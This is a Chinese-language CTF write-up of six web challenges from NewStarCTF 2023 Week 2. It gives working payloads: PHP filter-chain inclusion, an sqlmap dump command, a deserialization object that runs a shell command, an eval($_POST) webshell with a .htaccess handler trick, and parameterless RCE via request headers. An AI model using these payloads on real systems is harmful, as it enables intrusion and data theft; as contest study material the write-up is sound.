目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 游戏高手
    2. 2.2. include 0。0
    3. 2.3. ez_sql
    4. 2.4. Unserialize?
    5. 2.5. Upload again!
    6. 2.6. R!!C!!E!!

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NewStarCTF 2023 Week2

2023/10/11 CTF线上赛
  |     |   总文章阅读量:

前言

官方wp:https://shimo.im/docs/Dy5ekHJhKo0ap5v3/read

Web

游戏高手

f12看到100,000分就给Flag

在js里找到对应的代码

image-20231011002740696

控制台里修改分数

image-20231011002810467

然后游戏结束就能得到flag了


include 0。0

php伪协议

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> 

过滤了base和rot,这里试了几种filterchain

最后的payload:

?file=php://filter/convert.iconv.CP9066.CSUCS4/resource=flag.php

ez_sql

sql

注入点在?id=

fuzz一下发现select,and,or,sleep,where,information_schema被ban了

sqlmap秒了(

python3 sqlmap.py -u http://470ddb2c-a89f-4b23-87ff-3fcabab64929.node4.buuoj.cn:81/?id= -D ctf -T here_is_flag --dump

Unserialize?

反序列化

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?> 

用nl读取文件绕过过滤

因为是私有属性,我们这里直接在类里面赋值,注意序列化出来的字符串要改为%00类名%00属性

exp:

<?php
class evil {
    private $cmd;
    public function __construct()
    {
        $this->cmd="nl /th1s_1s_fffflllll4444aaaggggg";
    }
}
$a=new evil();
echo (serialize($a)); 

payload:

O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}

Upload again!

htaccess文件上传

几次上传测试发现不能传后缀为php的文件,文件中不能包含<?

php版本5.6.40,所以可以用<script>的php短标签绕过

<script language="php">eval($_POST["cmd"]);</script>

然后传.htaccess文件解析png为php

<FilesMatch "1.png">
Sethandler application/x-httpd-php
</FilesMatch>

这样就拿到shell了,轻取flag

image-20231011212307241

扒下来的文件上传源码

<?php
$file = $_FILES["file"];
if(!empty($_FILES["file"])){
$fileName='./upload/'.$file['name'];
$extension = @strtolower(end(explode('.',$_FILES['file']['name'])));
if(preg_match("/ph/i",$extension)){
die("你打不开的,别试了");
}
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(preg_match("/\<\? /i",$content)){ die("这不还是php?"); }else{ move_uploaded_file($file['tmp_name'],$fileName); echo "upload successful: /upload/" . $file["name"] . "<br>" ; } } ?>

R!!C!!E!!

git泄露 + 无参rce

存在git源码泄露,用GitHacker得到源码

python GitHack.py -u http://1621290f-fc4c-4c72-b10e-23eecc09d0c4.node4.buuoj.cn:81/.git/

得到bo0g1pop.php

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

首先可以确定是无参rce,然后这里过滤了大量无参rce中会用到的函数

我这里用的是getallheaders()来进行rce

var_export来进行回显

image-20231011204416613

可以看到ua头是整个返回数组的第二个元素

那么我们就在ua头里进行命令执行,外面再套层eval,用next指向ua头

image-20231011204618371